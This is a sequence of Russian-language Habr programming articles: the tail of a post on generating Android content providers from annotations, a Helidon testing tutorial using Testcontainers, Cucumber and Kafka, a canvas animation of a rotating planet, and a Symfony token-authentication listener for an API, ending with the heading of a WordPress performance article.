Когда нам не надо выбирать ни единого столбца из таблицы — помечаем ее такой аннотацией. Применима для *From*, *Join*, *RawJoin*
###### RawQuery
Запрос с параметрами в любом месте. Эта штука придумана для контент провайдера и обусловлена ограниченностью view в sql. Вьюшка это select + join, а where уже потом применяется.
Но часто надо выполнить запрос, где уже в ON условии джойна надо использовать параметры. вот для этого оно и придумано, аля sql function. Там где надо юзать параметры естественно ставим **?**
Полученный sql запрос никуда не сторится просто лежит константой и его можно дернуть по URI(расскажу дальше)
**RawQuery** можно сформировать как и SimpleView используя *From*, *Join* and *RawJoin*,
а можно использую «сырой sql» через аннотацию *SqlQuery*
```
@RawQuery(ChatListQuery.QUERY_NAME)
public static interface ChatListQuery{
String QUERY_NAME = "chatListQuery";
@SqlQuery
String CHAT_LIST_QUERY = " some sql here"
}
```
#### 3. Что такое content provider в моем понимании
Исходя из опыта разработки под Android, контент провайдер должен обладать дополнительными свойствами. И дополнительные параметры можно пропихнуть через Uri, там полно «свободного места» — fragment, parametrs все как в url. Итак, вот что обычно надо:
**no-notify**
Когда вы вставляете пачку данных в провайдер нет необходимости нотифаить UI после вставки каждой строки, а лучше занотифаить после вставки.
**alternative notify uri**
Часто есть необходимость при нотифаи одно uri занотифаить зависящие uri. Например, у вас есть UserView который вы юзаете для заполнения списка, а вставка то идет в таблицу User и вам надо нотифаить uri из view вот это и есть alternative uri.
**limit**
тривиальный лимит при запросе
#### 4. Генерация Content Provider по схеме
После того, как я написал автогенерацию схемы по аннотациям, я задумался: у меня ведь есть все, что бы ~~захватить мир~~ генерировать контент провайдер и облегчить себе жизнь. Сказано — сделано. Пара аннотаций и у вас полноценный провайдер + немного плюшек. Ну понеслось!
Первое — надо сказать, что по схеме генерим контент провайдер. В этом нам поможет аннотация **Provider**
###### Provider
**name** — имя класса для контент провайдреа
**authority** — нам надо знать авторити контет провайдера.
**schemaClass** — имя класса схемы. Используется когда генерится open helper.
**openHelperClass** — можете отказаться от генерации внутреннего open helper и заставить юзать ваш.
```
@Schema(className="FManagerSchema", dbName="fmanager.db", dbVersion=6)
@Provider(authority="com.gdubina.fmanager.store.FManagerProvider", schemaClass="FManagerSchema", name="FManagerProvider", openHelperClass="CustomOpenHelper")
public interface FManagerStore {
```
Итак, мы сказали что хотим контент провайдер. Что дальше?
Надо сказать по какому URI будут доступны наши entity — юзаем одноименную аннотацию **URI**
###### URI
вешаем на константу в table, view или query. Мне нравится нечто типа URI\_CONTENT.
Все атрибуты тут опциональны, но они есть.
**type** — тип uri. Как мы знаем в контент провайдере принято определять, что возвращается по URI много записей(dir) или одна(item). Помните такой метод *getType*? тут тоже самое.
**onlyQuery** — доступ только для выполнения query, юзабельно для view and query. При попытке выполнить insert/delete/update — приведет к exception
**column** — по умолчанию "\_id". Собственно когда вы юзаете URI типа parh/# контент провайдер делает выборку аля \_id = uri.getLastPathSegment(). так вот вы можете переопределить по какому полю делать select
**altNotify** — список uri которые надо пронатифаить еще надо пронатифаить
**Пару примеров:**
вот так мы заставили контент провайдер работать с таблицей чемпионатов. Все доступно — выборка, вставка, удаление, обновление
```
@Table(ChempTable.TABLE_NAME)
public static interface ChempTable{
@URI
String CONTENT_PATH = "chemps";
String TABLE_NAME = "chemp_table";
@PrimaryKey
@Column(type = Type.INTEGER)
String ID = "_id";
@Column(type = Type.TEXT)
String TITLE = "title";
@Column(type = Type.TEXT)
String CHEMP_KEY = "CHEMP_KEY";
}
```
А вот кусок таблицы сообщений. Как мы видим, здесь у меня два URI
1. для доступа к самой таблице URI\_CONTENT
2. для выборки мессаджей определенного юзера URI\_MESSAGES\_BY\_USER, как раз здесь column=Message.FROM\_ID
```
@Table(Message.TABLE_NAME)
@PrimaryKey(columns = {Message.USER_ID, Message.ID})
public static interface Message{
@URI(altNotify={MessageChatView.URI_CONTENT, ChatListQuery.URI_CONTENT, URI_RECALC_MESSAGE_PATH})
String URI_CONTENT = "message";
@URI(type=URI.Type.ITEM, altNotify={Message.URI_CONTENT, MessageChatView.URI_CONTENT, ChatListQuery.URI_CONTENT, URI_RECALC_MESSAGE_PATH}, column=Message.FROM_ID)
String URI_MESSAGES_BY_USER = "message_by_user";
}
```
Для создания простого конетп ровайдера этого достаточно. Всего две аннотации!
Но это еще не все, что делать если на действия с таблицей надо что-то сделать? например добавили юзера — пошли закачали аватарку. в большом sql есть такая штука как триггеры — делают нечто подобное. Так вот и я обозвал свою аннотацию так само **Trigger**. В провайдере будет создан protected метод, который вы должны переопределить в наследники автогенеренного класса
###### Trigger
вешается на uri, но вызов метода происходит при совпадении имени таблицы
**name** — имя тригера, используется для генерации имени метода
**when** — когда вызывать метод до действия с таблицей или после.
**type** — на какие действия реагировать — insert/delete/udapte или на все сразу
Имя метода генерится по такому шаблону
```
onInserted(ContentValues values){}
onDeleted(Uri uri, String selection, String[] selectionArgs){}
onUpdated(Uri uri, ContentValues values, String selection, String[] selectionArg){}
```
Если надо повесить несколько триггеров — юзаем аннотацию *Triggers* и набиваем ее триггерами.
Пример:
```
@Table(User.TABLE_NAME)
public static interface User{
@Trigger(type=Trigger.Type.INSERT, name="user", when=When.BEFORE)
@URI(altNotify={SuggestionView.URI_CONTENT, MessageChatView.URI_CONTENT, ChatListQuery.URI_CONTENT})
String URI_CONTENT = "user";
```
и вот так выглядит провайдер в этом случае
```
public class AppProvider extends AppAutoProvider {
@Override
protected void onUserBeforeInserted(ContentValues values) {
.................
}
```
###### Как правильно использовать notify?
Если вы хотите пронотифаить uri и все альтернативные, необходимо использовать статический метод `notifyUri(ContentResolver cr, Uri uri)`
###### Пачка статически метод из провайдера
`getContentUri(String path)` — по path получаем URI
`getContentUriGroupBy(String path, String groupBy)` — по path получаем URI с поддержкой группировки
`getContentUri(String path, long id)` — получаем URI path/#
`getContentUri(String path, String id)` — получаем URI path/#
`getContentWithLimitUri(String path, int limit)` — path + limit
`getNoNotifyContentUri(String path)` — по path получаем URI без нотифая
`getNoNotifyContentUri(String path, long id)` — получаем URI path/# без нотифая
**P.S.** библиотека прошла «боевые» испытания и уже использовалась в продакшен проектах
**P.S.S** за грамматику и орфографию прошу не пинать | https://habr.com/ru/post/166051/ | null | ru | null |
# Helidon, Testcontainers, Cucumber, Kafka и многое другое
**Helidon** отлично подходит для создания **микросервисов**, для простого и быстрого развертывания в проде, и демострирует действительно впечатляющую производительность!
А как насчет тестирования Helidon?
В этой статье мы рассмотрим несколько способов, как это сделать.
Предмет тестирования
--------------------
Давайте посмотрим на приложение, которое мы собираемся протестировать сегодня. Это упрощенная версия нашего большого приложения Socks Shop, доступного [здесь](https://github.com/helidon-sockshop/sockshop) . У некоторых есть PetClinic, а у нас вот Socks Shop!
Классов всего несколько штук, но этого должно быть достаточно, чтобы продемонстрировать все, что мы хотим протестировать. Мы сделаем только REST API без пользовательского интерфейса. Упростим все максимально!
Итак, у нас есть простое Helidon MP приложение, в котором создан SockShopResource с простой функцией покупки носков. Есть метод чтобы получить все носки с их ценами. И есть метод POST, который принимает корзину с выбранными товарами. После оформления заказа, в службу доставки отправляется сообщение с запросом отослать товар. Есть и инвоисинг сервис для подготовки и хранения счетов, он будет вызываться через REST. Все сервисы сами заботятся о сохранении своих данных (для этого используется обычный Hibernate:)).
Давайте теперь взглянем на каждый компонент, чтобы определить лучшую стратегию для его тестирования.
### SockShopResource
Ресурс Socks Shop - это типичный REST endpoint, предоставляющий возможность оформления заказа:
```
private ShoppingService shoppingService;
@Inject
public SockShopResource(ShoppingService shoppingService) {
this.shoppingService = shoppingService;
}
@POST
public Response checkout(ShoppingCart shoppingCart){
long id = shoppingService.checkout(shoppingCart);
UriBuilder responseUri = UriBuilder.fromResource(SockShopResource.class);
responseUri.path(Long.toString(id));
return Response.created(responseUri.build()).build();
}
```
### ShoppingService
Класс реализует процесс оформления заказа. Сервис получает корзину покупок:
```
@ApplicationScoped
public class ShoppingService {
private final SubmissionPublisher emitter = new SubmissionPublisher<>();
@PersistenceContext(unitName = "test")
private EntityManager entityManager;
@Inject
@RestClient
private InvoicingClient invoicingClient;
@Transactional
public long checkout(ShoppingCart shoppingCart){
entityManager.persist(shoppingCart);
Long id = shoppingCart.getId();
emitter.submit(String.valueOf(id));
invoicingClient.handleInvoice(shoppingCart);
return id;
}
@Outgoing("outgoing-delivery")
public Publisher preparePublisher() {
// Create new publisher for emitting to by this::process
return ReactiveStreams
.fromPublisher(FlowAdapters.toPublisher(emitter))
.buildRs();
}
}
```
... и как только выполняется чекаут, в службу доставки отправляется сообщение, чтобы упаковать носки и отправить их Клиенту. Также вызывается инвойсинг сервис с помощью MicroProfile «RestClient», для выставления счета.
### Служба доставки
Всякий раз, когда приходит сообщение о новой покупке, сервис доставки должен его обработать. Аннотация `@Incomming` указывает на метод, который ее обрабатывает.
```
@ApplicationScoped
public class DeliveryService {
@PersistenceContext(unitName = "test")
private EntityManager entityManager;
@Incoming("incoming-delivery")
@Transactional
public void deliverToCustomer(String cartId){
Delivery delivery = new Delivery();
delivery.setShoppingCartId(Long.parseLong(cartId));
entityManager.persist(delivery);
}
}
```
Есть так же методы проверки статуса доставки :)
### Конфигурация
… она очень простая. Нам нужны только параметры подключения к БД и настройка messaging-a. Мы будем использовать H2 DB и ActiveMQ:
```
#Database
javax.sql.DataSource.test.dataSourceClassName=org.h2.jdbcx.JdbcDataSource
javax.sql.DataSource.test.dataSource.url=jdbc:h2:mem:test;DB_CLOSE_DELAY=-1;DATABASE_TO_UPPER=false
javax.sql.DataSource.test.dataSource.user=sa
javax.sql.DataSource.test.dataSource.password=
#Messaging
mp.messaging.connector.helidon-jms.jndi.env-properties.java.naming.provider.url=vm://localhost?broker.persistent=false
mp.messaging.connector.helidon-jms.jndi.env-properties.java.naming.factory.initial=org.apache.activemq.jndi.ActiveMQInitialContextFactory
mp.messaging.incoming.incoming-delivery.connector=helidon-jms
mp.messaging.incoming.incoming-delivery.type=queue
mp.messaging.incoming.incoming-delivery.destination=delivery
mp.messaging.outgoing.outgoing-delivery.connector=helidon-jms
mp.messaging.outgoing.outgoing-delivery.type=queue
mp.messaging.outgoing.outgoing-delivery.destination=delivery
```
Нам этого достаточно!
Эти настройки записываем в `microprofile-config.properties`файл. Стоит отметить, что эта конфигурация очень portable.
### Некоторые другие файлы
`AppInitialiser` Класс используется для заполнения тестовых данных и запуска messaging-a:
```
@ApplicationScoped
public class AppInitializer {
@PersistenceContext(unitName = "test")
private EntityManager entityManager;
@Transactional
void onStartup(@Observes @Initialized(ApplicationScoped.class) final Object event) {
Socks model1 = new Socks(1L, "Model1", 10.00);
entityManager.persist(model1);
Socks model2 = new Socks(2L, "Model2", 20.00);
entityManager.persist(model2);
Client client1 = new Client(1L, "Joe", "Doe", "Somewhere", "12345");
entityManager.persist(client1);
ShoppingCart cart = new ShoppingCart();
cart.setId(1L);
cart.setClient(client1);
cart.setCart(List.of(model1, model2));
entityManager.persist(cart);
entityManager.flush();
}
private void makeConnections(@Observes @Priority(PLATFORM_AFTER + 1) @Initialized(ApplicationScoped.class) Object event) throws Throwable{
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory("vm://localhost?broker.persistent=false");
Connection connection = connectionFactory.createConnection();
connection.createSession(false, 1);
}
}
```
Здесь мы ожидаем моментa, когда все `ApplicationScoped`bean-компоненты запущены и работают. Как только event об этом выстрелил, мы можем заполнить данные. Это чистый CDI. Этот код на 100% portable.
### Теперь все это надо протестировать!
### Unit testing
Это, наверное, самое простое тестирование, но без него никак!
Все, что требует работы с БД или любыми внешними службами, требующими инициализации или работающими внутри контейнера CDI, можно легко заменить моками. Воспользуемся `mockito`для этого:
```
@ExtendWith(MockitoExtension.class)
public class SockShopResourceMockTest {
private List socksList = List.of(new Socks(1L, "Model1", 10.00),
new Socks(2L, "Model2", 20.00));
@InjectMocks
private SockShopResource sockShopResource;
@Mock
private ShoppingService shoppingService;
@BeforeEach
private void init() {
Mockito.lenient().doCallRealMethod().when(shoppingService).allSocks();
}
@Test
void allSocksTest() {
Mockito.doReturn(socksList).when(shoppingService).allSocks();
String response = sockShopResource.allSocks();
assertEquals(response, "[{\"id\":1,\"model\":\"Model1\",\"price\":10.0},{\"id\":2,\"model\":\"Model2\",\"price\":20.0}]");
Mockito.verifyNoMoreInteractions(shoppingService);
}
}
```
Как видите, `ShoppingService`это мок, и мы тестируем SockShopResource независимо от базовой инфраструктуры. Такие тесты выполняются очень быстро, поскольку на самом деле сервер не запущен.
### @HelidonTest
Хорошо, теперь давайте углубимся и посмотрим, как протестировать функциональность внутри запущенного Helidon.
Начнем с наиболее часто используемой аннотации - `@HelidonTest.`Она берет на себя все заботы о запуске инициализации контейнера и подключении всего.
```
@HelidonTest
public class TestSocksResource {
@Inject
WebTarget webTarget;
@Test
void testAllSocks(){
JsonArray jsonObject = webTarget.path("/api/shop/allSocks")
.request()
.get(JsonArray.class);
assertEquals("[{\"model\":\"Model1\",\"price\":10.0},{\"model\":\"Model2\",\"price\":20.0}]",jsonObject.toString());
}
}
```
Как видите, с помощью всего одной аннотации мы фактически запускаем Helidon MP, все в контейнере CDI инициализируется и инжектится. Так что перед непосредственно перед вызовом тестовых методов сервер работает. Мы можем использовать `WebTarget`для тестирования наших REST ендпоинтов.
С дополнительными аннотациями, такими, как например:
```
@DisableDiscovery
@AddExtension (ConfigCdiExtension.class)
@AddBean (SocksTest.ConfiguredBean.class)
@AddConfig (key = "test.message", value = "Socks!")
```
... тесты можно настраивать!
Подробнее об использовании этих аннотации вы можете прочитать в блог посте <https://medium.com/helidon/testing-helidon-9df2ea14e22>
### Интеграционное тестирование с использованием Testcontainers
[Testcontainers](https://www.testcontainers.org/) - это по-настоящему шедевральная технология, которая выводит интеграционное тестирование на новый уровень. С их помощью мы можем протестировать Helidon, работающий внутри контейнера:
```
protected static final String NETWORK_ALIAS_APPLICATION = "application";
protected static final Network NETWORK = Network.newNetwork();
protected static final GenericContainer APPLICATION = new GenericContainer<>("socks-shop:latest")
.withExposedPorts(8080)
.withNetwork(NETWORK)
.withNetworkAliases(NETWORK_ALIAS_APPLICATION)
.withEnv("JAVA_OPTS", "-Djava.net.preferIPv4Stack=true -Djava.net.preferIPv4Addresses=true")
.waitingFor(Wait.forHealthcheck());
static {
APPLICATION.start();
}
```
Generic Container вполне подходит для этого. Для создания докер образа мы можем использовать `docker-maven-plugin`от Spotify:
```
com.spotify
dockerfile-maven-plugin
1.4.13
${project.build.finalName}
${project.build.finalName}.jar
true
package
build
```
Теперь, когда у нас есть приложение, упакованное, как докер образ и обернутое как Testcontainer, мы можем провести полномасштабное интеграционное тестирование.
Хорошим помощником для этого является фреймворк [Cucumber](https://cucumber.io/).
Давайте создадим очень простой сценарий покупки носков:
```
Feature: BuySocks
Scenario: Buy one pair of socks
Given a user makes a checkout
When the checkout is performed
Then submitted to delivery
```
Теперь покажем Cucumber, откуда читать файлы функций:
```
@RunWith(Cucumber.class)
@CucumberOptions(plugin = {"pretty"}, features = "src/test/resources/it/feature")
public class SocksShopCucumberIT {
...
}
```
И так, мы готовы протестировать наше приложение, работающее в тестовом контейнере. Сначала запустите его:
```
@Before
public void beforeScenario() {
APPLICATION.withLogConsumer(new Slf4jLogConsumer(LOG));
requestSpecification = new RequestSpecBuilder()
.setPort(APPLICATION.getFirstMappedPort())
.build();
}
```
Теперь выполним первый шаг сценария:
```
@Given("a user makes a checkout")
public void a_user_makes_a_checkout() {
Socks socks = new Socks(100l, "Model1", 10.0);
Client client1 = new Client(100L, "Joe", "Doe", "Somewhere", "12345");
ShoppingCart shoppingCart = new ShoppingCart();
shoppingCart.setId(100L);
shoppingCart.setClient(client1);
shoppingCart.setCart(List.of(socks));
RestAssured.given(requestSpecification)
.contentType(MediaType.APPLICATION_JSON)
.body(shoppingCart)
.when()
.post("/api/shop/")
.then()
.statusCode(Response.Status.CREATED.getStatusCode());
}
```
Затем мы можем проверить, выполняется ли оформление заказа:
```
@When("the checkout is performed")
public void the_checkout_is_performed() {
RestAssured.given(requestSpecification)
.accept(MediaType.APPLICATION_JSON)
.when()
.get("/api/shop/status/100")
.then()
.statusCode(Response.Status.OK.getStatusCode())
.contentType(MediaType.APPLICATION_JSON)
.body(Matchers
.equalTo("{\"cart\":[{\"id\":100,\"model\":\"Model1\",\"price\":10.0}],\"client\":{\"address\":\"Somewhere\",\"firstName\":\"Joe\",\"id\":100,\"lastName\":\"Doe\",\"postcode\":\"12345\"},\"id\":100}"));
}
```
… И, наконец, мы можем проверить, было ли отправлено сообщение о доставке, и покупка оформлена для доставки:
```
@Then("submitted to delivery")
public void submitted_to_delivery() throws InterruptedException {
Thread.sleep(500);//wait the message to arrive
RestAssured.given(requestSpecification)
.when()
.get("/api/delivery/status/100")
.then()
.statusCode(Response.Status.OK.getStatusCode())
.contentType(MediaType.APPLICATION_JSON)
.body(Matchers
.equalTo("{\"id\":1,\"shoppingCartId\":100}"));
}
```
Когда пользователь запускает этот сценарий, происходит следующее:
1. Testcontainers берет самый свежий образ `socks-shop`приложения и запускает его;
2. `Socks-shop` загружается и инициализацилируется внутри контейнера;
3. Когда приложение заработает, вызывается `a\_user\_makes\_a\_checkout ()`;
4. Если все отработало штатно, the\_checkout\_is\_performed() выполнится для проверки того, что заказ персистится правильно.
5. И, наконец, the\_checkout\_is\_performed() проверяет, завершен ли заказ.
Тест считается успешным, если все этапы пройдены.
Поскольку мы используем in memory H2 и in memory Messaging, никаких дополнительных настроек не требуется.
Таким образом, вы можете протестировать свои приложения Helidon в «почти продакшн» среде.
### …и наоборот
С тестовыми контейнерами и Helidon мы также можем сделать наоборот. Для интеграционного тестирования, мы можем заставить Helidon потреблять некоторые ресурсы от внешних служб, работающих внутри тестовых контейнеров.
Например, мы хотим проверить, хороро ли наше приложение работает с MariaDB в качестве базы данных и Kafka для обмена сообщениями. Они будут работать внутри тестовых контейнеров. Нам для этого нужно только чуть изменить конфигурацию.
Давайте снова используем аннотацию @HelidonTest для запуска и инициализации Helidon. Но поскольку конфиг необходимо переопределить, мы должны сообщить об этом с помощью параметра аннотации:
```
@Configuration(useExisting = true)
```
Теперь мы можем выполнить настройку контейнеров MariaDB и Kafka и объявить свойства:
```
private static MariaDBContainer db = new MariaDBContainer<>("mariadb:10.3.6")
.withDatabaseName("mydb")
.withUsername("test")
.withPassword("test");
static KafkaContainer kafka = new KafkaContainer();
@BeforeAll
public static void setup() {
kafka.start();
Map configValues = new HashMap<>();
configValues.put("mp.initializer.allow", "true");
configValues.put("mp.messaging.incoming.from-kafka.connector", "helidon-kafka");
configValues.put("mp.messaging.incoming.from-kafka.topic", "delivery");
configValues.put("mp.messaging.incoming.from-kafka.auto.offset.reset", "latest");
configValues.put("mp.messaging.incoming.from-kafka.enable.auto.commit", "true");
configValues.put("mp.messaging.incoming.from-kafka.group.id", "helidon-group-1");
configValues.put("mp.messaging.outgoing.to-kafka.connector", "helidon-kafka");
configValues.put("mp.messaging.outgoing.to-kafka.topic", "delivery");
configValues.put("mp.messaging.outgoing.test-delivery.connector", "helidon-kafka");
configValues.put("mp.messaging.outgoing.test-delivery.topic", "delivery");
configValues.put(KafkaConnector.CONNECTOR\_PREFIX + "helidon-kafka.bootstrap.servers", kafka.getBootstrapServers());
configValues.put(KafkaConnector.CONNECTOR\_PREFIX + "helidon-kafka.key.serializer", "org.apache.kafka.common.serialization.StringSerializer");
configValues.put(KafkaConnector.CONNECTOR\_PREFIX + "helidon-kafka.value.serializer", "org.apache.kafka.common.serialization.StringSerializer");
configValues.put(KafkaConnector.CONNECTOR\_PREFIX + "helidon-kafka.key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
configValues.put(KafkaConnector.CONNECTOR\_PREFIX + "helidon-kafka.value.deserializer", "org.apache.kafka.common.s" +
"erialization.StringDeserializer");
configValues.put("mp.initializer.allow", "true");
configValues.put("javax.sql.DataSource.test.dataSourceClassName", "org.mariadb.jdbc.MariaDbDataSource");
configValues.put("javax.sql.DataSource.test.dataSource.url", db.getJdbcUrl());
configValues.put("javax.sql.DataSource.test.dataSource.user", db.getUsername());
configValues.put("javax.sql.DataSource.test.dataSource.password", db.getPassword());
org.eclipse.microprofile.config.Config mpConfig = ConfigProviderResolver.instance()
.getBuilder()
.withSources(MpConfigSources.create(configValues))
.build();
ConfigProviderResolver.instance().registerConfig(mpConfig, Thread.currentThread().getContextClassLoader());
}
```
Как хорошо, что Девушки и Ребята из Test Container уже подготовили для нас MariaDB и Kafka контейнеры!
Все готово! Если мы запустим этот тест (даже непосредственно из IDE), он сначала запустит тестовые контейнеры, а после их инициализации и запуска, параметры будут настроены, и Helidon запустится. После этого все тесты выполняются с использованием этих тестовых контейнеров. Это означает, что все запросы к базе данных будут выполняться к MariaDB, а все сообщения - проходить через Kafka. Идея просто великолепна!
### Мета-конфигурация
Также стоит упомянуть новую фишку Helidon MP - мета-конфигурация. Вы можете настроить сам Config с помощью функции мета-конфигурации Helidon MP Config.
При использовании конфигурация MicroProfile использует источники конфигурации и флаги, настроенные в мета-файле конфигурации.
Мета-конфигурация позволяет настраивать источники конфигурации и другие параметры конфигурации, включая добавление обнаруженных источников и разных конветеров.
Если файл с именем `mp-meta-config.yaml`или `mp-meta-config.properties`находится в текущем каталоге или в класспасе, и в коде нет явной настройки конфигурации, конфигурация будет загружена из `meta-config`файла. Расположение файла можно изменить с помощью системного свойства `io.helidon.config.mp.meta-config`или переменной среды.`HELIDON_MP_META_CONFIG.`
Заключение
----------
Helidon обеспечивает полную поддержку всех промышленных и де факто стандартных технологий тестирования. Модульное и интеграционное тестирование - неотъемлемая часть любой разработки программного обеспечения. Хорошие тесты гарантируют лучшее качество ваших программ! Так что, обязательно пишите тесты!
Если вы хотите поиграть с кодом и тестами из этой статьи - он лежит [здесь](https://github.com/dalexandrov/socks-shop) .
Спасибо за внимание :) | https://habr.com/ru/post/591655/ | null | ru | null |
# Рецепт вращения планет в космосе на HTML5 + JavaScript
В рамках создания нашей браузерной космической игры, перед нами стояла задача разработать простую и наименее ресурсозатратную анимацию вращения планет в звездной системе.
#### **~~Вычеркиваем~~**
После непродолжительного подбора различных способов реализации, сразу были исключены варианты:
* ~~с gif-анимацией~~ (из-за низкого качества изображения);
* ~~с Flash~~ (по договоренности, Flash-технологии решили в проекте не использовать);
* ~~с анимацией с помощью JQuery посредством функции $().animate~~ (по причине ее прожорливости).
#### **CANVAS в помощь!**
Итак, остановились мы на использовании Canvas и JavaScript, посчитав этот вариант оптимальным для реализации нашей задачи.
##### **Пофантазируем...**
Любым доступным способом находим, рисуем или генерируем карту нашей будущей планеты. Предположим, у нас это будет экзопланета, где есть вода и растительность. Выглядеть карта нашей планеты будет примерно так:
Нам необходимо половину изображения скопировать и добавить с правой стороны, т.к. наша карта будет двигаться по поверхности canvas-блока, и при крайнем положении начинать движение заново. Результат получается таким:
##### **Создаем планету**
В качестве космического пространства у нас выступит блок div с любым подходящим для этого бэкграундом, а внутри разместим элемент с id=«planet»:
```
```
Далее заставляем нашу карту двигаться внутри созданного элемента canvas, который скоро превратится в планету:
```
$(function(){
var pl_id = 'planet';
var image = new Image();
image.src = 'images/planets/1/1/map.jpg';
// определяем длину и высоту элемента canvas
var width = $('#'+pl_id).width();
var height = $('#'+pl_id).height();
var canvas = document.getElementById(pl_id);
var id = canvas.getContext("2d");
var newMoveWidth = 0;
var newMoveHeight = 0;
var drawPl = function(){
id.clearRect(0, 0, width, height);
// рисуем карту с новыми координатами внутри элемента
id.drawImage(image, newMoveWidth, newMoveHeight, width, height, 0, 0, width, height);
if (newMoveWidth >= 899.5) newMoveWidth = 0; // если смещение достигло предела, начинаем сначала
else newMoveWidth = newMoveWidth+0.5; // иначе двигаем карту дальше
}
setInterval(drawPl, 50); // запускаем анимацию со скоростью 50 мс.
});
```
В результате произведенных действий, получаем примерно такую картину:
#### **Закругляем...**
Квадратных планет еще не открыли, поэтому придадим нашему небесному телу более привычный вид, прописав в style нашего элемента canvas border-radius на 50 процентов. Получаем:
Уже лучше, однако по-прежнему нет ощущения, что перед нами сферический объект.
Теперь подготовим в графическом редакторе круг с тенью по краям и бликами. Он должен быть обязательно полупрозрачным, т.к. мы будем накладывать его на нашу планетарную карту. В оригинале он будет выглядеть так:
Сейчас добавляем в нашу анимацию эффект вращения, а также, накладываем подготовленную картинку с тенями поверх карты планеты.
Финальный код нашей анимированной планеты получается таким:
```
```
И код самой анимации:
```
$(function(){
var pl_id = 'planet';
var image = new Image();
image.src = 'map2.jpg';
// загружаем изображение тени и бликов планеты
var fxShadow = new Image();
fxShadow.src = 'planet_shadow.png';
// определяем длину и высоту элемента canvas
var width = $('#'+pl_id).width();
var height = $('#'+pl_id).height();
// рассчитываем угол вращения планеты
var beta = 360/900;
var beta = (beta*Math.PI)/360;
var l = (Math.sqrt(width*width+width*width))/2;
var gam = Math.PI - ((Math.PI - (beta * Math.PI)/360)/2) - (Math.PI/4);
var b = 2*l*Math.sin(beta/2);
var x = b*Math.sin(gam);
var y = b*Math.cos(gam);
var p1 = Math.cos(beta);
var p2 = Math.sin(beta);
var canvas = document.getElementById(pl_id);
var id = canvas.getContext("2d");
var newMoveWidth = 0;
var newMoveHeight = 0;
var drawPl = function(){
id.clearRect(0, 0, width, height);
// применяем к нашей планете вращение
id.transform(p1, p2, -p2, p1, x, -y);
// рисуем карту с новыми координатами внутри элемента
id.drawImage(image, newMoveWidth, newMoveHeight, width, height, 0, 0, width, height);
//добавляем тень и блики
id.drawImage(fxShadow, 0, 0, width, height);
// если смещение достигло предела, начинаем сначала
if (newMoveWidth >= 899.5) newMoveWidth = 0;
else newMoveWidth = newMoveWidth+0.5; // иначе двигаем карту дальше
}
setInterval(drawPl, 50); // запускаем анимацию со скоростью 50 мс.
});
```
Финальный результат анимации планеты в игре:
Все вопросы и предложения по улучшению этого варианта реализации буду рад увидеть в комментариях.
Спасибо за внимание! | https://habr.com/ru/post/268975/ | null | ru | null |
# Авторизация для API с помощью токенов
Как и обещал ранее, продолжаю свою серию статей про создание API на Symfony2. Сегодня я бы хотел рассказать о авторизации. Из популярных бандлов есть JWTAuthenticationBundle и FOSOAuthServerBundle, у каждого есть свои плюсы и минусы, но мне хотелось бы рассказать как сделать авторизацию самому, чтобы понимать как это работает.
Для начала, создадим сущность UserAccessToken, в которой будем хранить токены доступа пользователей.
```
php
namespace App\CommonBundle\Entity;
use Doctrine\ORM\Mapping AS ORM;
/**
* @ORM\Entity
* @ORM\Table(name="user_access_tokens")
*/
class UserAccessToken
{
/**
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
* @ORM\Column(name="id", type="integer")
*/
protected $id;
/**
* @ORM\ManyToOne(targetEntity="User")
* @ORM\JoinColumn(name="user_id", referencedColumnName="id", onDelete="SET NULL")
*/
protected $user;
/**
* Тут мы будем хранить наш токен. Токен необходимо генерировать самому и как можно сложнее и длиннее, чтобы исключить возможность подбора
*
* @ORM\Column(name="access_token", type="string")
*/
protected $accessToken;
/**
* Дата, после которой токен будет считаться не активным
*
* @ORM\Column(name="expired_at", type="datetime")
*/
protected $expiredAt;
/**
* @ORM\Column(name="created_at", type="datetime")
*/
protected $createdAt;
}
</code
```
Теперь создадим Listener, который будет слушать все запросы к вашему API и авторизировать пользователя.
```
php
namespace App\CommonBundle\Listener;
use App\CommonBundle as Common;
use Doctrine\ORM\EntityManager;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;
use Symfony\Component\Security\Core\SecurityContextInterface;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
class AccessTokenListener
{
private $entityManager;
private $securityContext;
private $exclude = [
'/users/login', '/users/registration',
];
const EMPTY_ACCESS_TOKEN = 'empty_access_token';
const INVALID_ACCESS_TOKEN = 'invalid_access_token';
const ACCESS_TOKEN_EXPIRED = 'access_token_expired';
public function __construct(EntityManager $entityManager, SecurityContextInterface $securityContext)
{
$this-entityManager = $entityManager;
$this->securityContext = $securityContext;
}
/**
* @return Common\Entity\UserAccessToken
*/
private function getByAccessToken($accessToken)
{
return $this->entityManager->getRepository('CommonBundle:UserAccessToken')->findOneByAccessToken($accessToken);
}
public function beforeController(GetResponseEvent $event)
{
// Делаем доступными без токена необходимые для нас URL
// Это необходимо для того, чтобы открыть метод для авторизации и тд
if (in_array($event->getRequest()->getPathInfo(), $this->exclude)) {
return;
}
// Смотрим заголовок с названием X-Access-Token, если он пустой – возвращаем ошибку
$accessToken = $event->getRequest()->headers->get('X-Access-Token');
if (!$accessToken) {
$event->setResponse(new JsonResponse(['error' => self::EMPTY_ACCESS_TOKEN], 403));
return;
}
// Ищем в базе пользователя по токену
$token = $this->getByAccessToken($accessToken);
if (!$token) {
$event->setResponse(new JsonResponse(['error' => self::INVALID_ACCESS_TOKEN], 403));
return;
}
// Проверяем актуален ли все еще токен
if ($token->getExpiredAt() <= new \DateTime('now')) {
$event->setResponse(new JsonResponse(['error' => self::ACCESS_TOKEN_EXPIRED], 403));
return;
}
// Устанавливаем пользователя, чтобы он был доступен в контроллерах через $this->getUser()
$user = $token->getUser();
$usernamePasswordToken = new UsernamePasswordToken($user, $user->getPassword(), "main", $user->getRoles());
$this->securityContext->setToken($usernamePasswordToken);
}
}
```
И подключим его в services.yml
```
common.listener.access_token:
class: App\CommonBundle\Listener\AccessTokenListener
arguments: [@doctrine.orm.entity_manager, @security.context]
tags:
- { name: kernel.event_listener, event: kernel.request, method: beforeController }
```
На этом практически все, теперь только остается сделать простенький метод для авторизации, который будет принимать логин и пароль и в случае успеха создавать новый UserAccessToken со сгенерированным значением accessToken и возвращать его в ответе. | https://habr.com/ru/post/258903/ | null | ru | null |
# Очень шустрый блог на WordPress при помощи связки nginx + PHP-FPM + MariaDB + Varnish
